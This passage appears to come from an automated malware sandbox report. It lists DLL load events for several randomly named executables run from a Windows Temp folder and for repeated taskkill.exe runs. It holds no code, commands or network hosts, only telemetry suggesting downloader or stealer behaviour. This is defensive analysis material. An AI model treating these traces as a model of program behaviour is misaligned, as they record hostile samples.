Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: iertutil.dll
